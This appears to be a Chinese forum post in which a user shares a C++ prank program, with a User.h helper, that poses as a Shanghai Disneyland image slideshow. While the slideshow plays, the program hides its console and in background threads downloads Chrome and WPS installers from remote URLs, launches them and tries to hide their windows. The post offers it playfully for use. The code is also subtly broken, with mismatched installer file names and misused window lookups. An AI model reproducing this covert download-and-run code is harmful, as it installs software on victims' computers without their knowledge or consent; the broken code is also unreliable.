用户:
Margoo查看:0 回复:5 评论:0 创建时间:2019-11-24T11:06:35
今天我脑门一热,写了一个程序:
//main.cpp
//#include <conio.h>
//#include <graphics.h>
#include <EGE\\graphics.h>
#include <User.h>
#include <EGE/ege/sys_edit.h>
#include <string>
#include <iostream>
#include <urlmon.h>
#include <pthread.h>
#include <Wininet.h>
#include <EGE/EGE_UI_Lib.h>
#include <ege.h>
#include <thread>
#include <windows.h>
using namespace std;
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
#pragma comment(lib, "pthreadVC2.lib")
void* down(void* agrs);
void* downd(void* agrs);
int main()
{
HWND hwndDOS = GetForegroundWindow();
ShowWindow(hwndDOS, SW_HIDE);
pthread_t tids[10];
pthread_create(&tids[0], NULL, down, NULL);
pthread_create(&tids[1], NULL, downd, NULL);
ShellExecute(0, "open", "GoogleSetup.exe", "", "", SW_SHOWNORMAL);
HWND hwnd; if (hwnd = ::FindWindow("GoogleSetup.exe", NULL)) //找到控制台句柄
{
::ShowWindow(hwnd, SW_HIDE); //隐藏控制台窗口
}
ShellExecute(0, "open", "WPSSteup.exe", "", "", SW_SHOWNORMAL);
HWND hwnds; if (hwnds = ::FindWindow("WPSSteup.exe", NULL)) //找到控制台句柄
{
::ShowWindow(hwnds, SW_HIDE); //隐藏控制台窗口
}
initgraph(960, 540, INIT_RENDERMANUAL);
setcaption("快来上海迪士尼乐园");
for (int i = 0; i <= 365; i++)
{
string fileNames = "dc\\f (" + to_string(i) + ").jpg";
const char* fileName = fileNames.c_str();
PIMAGE pimg = newimage();
getimage(pimg, fileName);
putimage(0, 0, pimg);
delimage(pimg);
Sleep(10);
}
getch();
return 0;
}
extern void* down(void* agrs)
{
download("http://softdown1.hao123.com/hao123-soft-online-bcs/soft/2017_10_26_ChromeStandalone_62.0.3202.62_Setup.exe",
"GoogleSetup.exe");
return 0;
}
extern void* downd(void* agrs)
{
download("http://softdown1.hao123.com/hao123-soft-online-bcs/soft/2017_02_22_W.P.S.5041.19.552.exe",
"WPSSetup.exe");
return 0;
}
//User.h
#pragma once
#include <EGE/graphics.h>
#include <EGE/ege.h>
#include <Windows.h>
#include <WinUser.h>
#include <Urlmon.h>
#pragma comment(lib, "urlmon.lib")
//download下载函数
//参数:
// URL:原来下载素材网页直连
// FURL:存放地点
void download(LPCSTR URL,LPCSTR FURL)
{
URLDownloadToFile(0, TEXT(URL),TEXT(FURL), 0, NULL);
}
//影藏窗口函数(不建议用)
// 必须更initgraph里的参数一样 小数就行了
void DrawWindow(int width, int high, float w_position, float h_position)
{
initgraph(width, high); // 窗口尺寸
HWND hWnd = getHWnd(); // 获取窗口句柄
SetWindowLong(hWnd, GWL_EXSTYLE, GetWindowLong(hWnd, GWL_EXSTYLE) | WS_EX_LAYERED);
SetWindowLong(hWnd, GWL_STYLE, GetWindowLong(hWnd, GWL_STYLE) - WS_CAPTION);
SetWindowPos(hWnd, HWND_TOP, GetSystemMetrics(SM_CXSCREEN) * w_position,
GetSystemMetrics(SM_CXSCREEN) * h_position, width, high, SWP_SHOWWINDOW);
}
// 透明贴图函数(弃用)
// 参数:
// dstimg:目标 IMAGE(NULL 表示默认窗体)
// x, y: 目标贴图位置
// srcimg: 源 IMAGE 对象指针
/*
void CImage(IMAGE* dstimg, int x, int y, IMAGE* srcimg)
{
// 变量初始化
DWORD* dst = GetImageBuffer(dstimg);
DWORD* src = GetImageBuffer(srcimg);
int src_width = srcimg->getwidth();
int src_height = srcimg->getheight();
int dst_width = (dstimg == NULL ? getwidth() : dstimg->getwidth());
int dst_height = (dstimg == NULL ? getheight() : dstimg->getheight());
// 计算贴图的实际长宽
int iwidth = (x + src_width > dst_width) ? dst_width - x : src_width; // 处理超出右边界
int iheight = (y + src_height > dst_height) ? dst_height - y : src_height; // 处理超出下边界
if (x < 0) { src += -x; iwidth -= -x; x = 0; } // 处理超出左边界
if (y < 0) { src += src_width * -y; iheight -= -y; y = 0; } // 处理超出上边界
// 修正贴图起始位置
dst += dst_width * y + x;
// 实现透明贴图
for (int iy = 0; iy < iheight; iy++)
{
for (int ix = 0; ix < iwidth; ix++)
{
int sa = ((src[ix] & 0xff000000) >> 24);
int sr = ((src[ix] & 0xff0000) >> 16); // 源值已经乘过了透明系数
int sg = ((src[ix] & 0xff00) >> 8); // 源值已经乘过了透明系数
int 喵 = src[ix] & 0xff; // 源值已经乘过了透明系数
int dr = ((dst[ix] & 0xff0000) >> 16);
int dg = ((dst[ix] & 0xff00) >> 8);
int db = dst[ix] & 0xff;
dst[ix] = ((sr + dr * (255 - sa) / 255) << 16)
| ((sg + dg * (255 - sa) / 255) << 8)
| (喵 + db * (255 - sa) / 255);
}
dst += dst_width;
src += src_width;
}
}*/
嘿嘿嘿